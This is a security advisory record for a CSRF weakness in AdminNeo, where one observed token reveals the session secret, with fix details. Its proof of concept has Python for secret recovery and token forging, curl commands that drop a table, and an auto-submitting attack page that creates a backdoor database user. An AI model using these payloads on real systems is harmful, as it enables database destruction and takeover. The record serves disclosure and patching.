{"id":"CVE-2026-96629","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-96629","summary":"AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery","details":"### Summary\n\nAdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (`rand(1, 1e6)`), making blind brute-force feasible even without token observation.\n\nOriginally reported by @az0mb13 in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg)\n\n### Details\nToken generation in `admin/include/functions.inc.php` lines 1181-1184:\n\n```php\nfunction get_token() {\n\t$rand = rand(1, 1e6);\n\treturn ($rand ^ $_SESSION[\"token\"]) . \":$rand\";\n}\n```\n\nToken verification in lines 1189-1192:\n\n```php\nfunction verify_token() {\n\tlist($token, $rand) = explode(\":\", $_POST[\"token\"]);\n\treturn ($rand ^ $_SESSION[\"token\"]) == $token;\n}\n```\n\nSession token initialized in `admin/include/auth.inc.php` lines 327 and 385:\n\n```php\n$_SESSION[\"token\"] = rand(1, 1e6);\n```\n\n**Three distinct weaknesses:**\n1. **Instant recovery:** The token format `(rand XOR secret):rand` transmits both operands. Recovery is trivial: `secret = masked_value XOR rand`.\n2. **Low entropy**: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.\n3. **Loose comparison**: `verify_token()` uses `==` (loose comparison) instead of `===`, enabling PHP type juggling.\n\n### PoC\n\n**Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).**\n\n**Step 1: Observe a single CSRF token**\n\nLoad any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:\n\n```html\n<input type='hidden' name='token' value='222277:990527'>\n```\n\nToken observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.\n\n**Step 2: Recover the session secret (instant, 1 XOR operation)**\n\n```python\nobserved = \"542273:441804\"\nmasked, rand_val = observed.split(\":\")\nsession_secret = int(masked) ^ int(rand_val)\n# Result: 817530\n```\n\nThe token format is `(rand XOR secret):rand`. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.\n\n**Step 3: Forge unlimited valid CSRF tokens**\n\n```python\nimport random\nforge_rand = random.randint(1, 1000000)\nforged = f\"{forge_rand ^ session_secret}:{forge_rand}\"\n# Example output: 729376:481370\n```\n\nEach forged token is unique and valid. The attacker can generate as many as needed.\n\n**Step 4: Execute arbitrary SQL with the forged token**\n\n```shell\n# Forged token used to DROP a table the attacker never had a token for:\ncurl -b victim_cookies.txt \\\n  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \\\n  --data-urlencode \"token=729376:481370\" \\\n  --data-urlencode \"query=DROP TABLE csrf_victim_table;\" \\\n  -d \"limit=0\"\n```\n\n**Step 5: Verify a random wrong token is rejected (control)**\n\n```shell\ncurl -b victim_cookies.txt \\\n  'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \\\n  --data-urlencode \"token=111:222\" \\\n  --data-urlencode \"query=SELECT 1\" -d \"limit=1\"\n# Result: \"Invalid CSRF token. Send the form again.\"\n```\n\n**Weaponized CSRF attack page**\n\nIn a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:\n\n```html\n<html><body>\n<h1>Click here for free database optimization tips</h1>\n<!-- Attacker recovered secret 817530 from an observed token -->\n<!-- Forged token: 729376:481370 -->\n<iframe style=\"display:none\" name=\"x\"></iframe>\n<form id=\"f\" method=\"POST\" target=\"x\"\n      action=\"http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=\">\n  <input type=\"hidden\" name=\"token\" value=\"729376:481370\">\n  <input type=\"hidden\" name=\"query\" value=\"CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;\">\n  <input type=\"hidden\" name=\"limit\" value=\"0\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\n### Impact\n\n- **Cross-Site Request Forgery** against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.\n- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.\n- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.\n- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).","published":"2026-10-30T22:51:29Z","modified":"2026-10-30T23:00:04.319243147Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","fixedVersion":"5.5.1"}],"fix":{"url":"https://github.com/adminneo-org/adminneo/commit/f575eee5e35eacd6c55a9912648e9e8fe24a9f44","label":"adminneo-org/adminneo@f575eee"},"references":[{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-wm25-49w3-5qrg"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/commit/f575eee5e35eacd6c55a9912648e9e8fe24a9f44"},{"type":"PACKAGE","url":"https://github.com/adminneo-org/adminneo"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-30T23:00:04.319243147Z"}}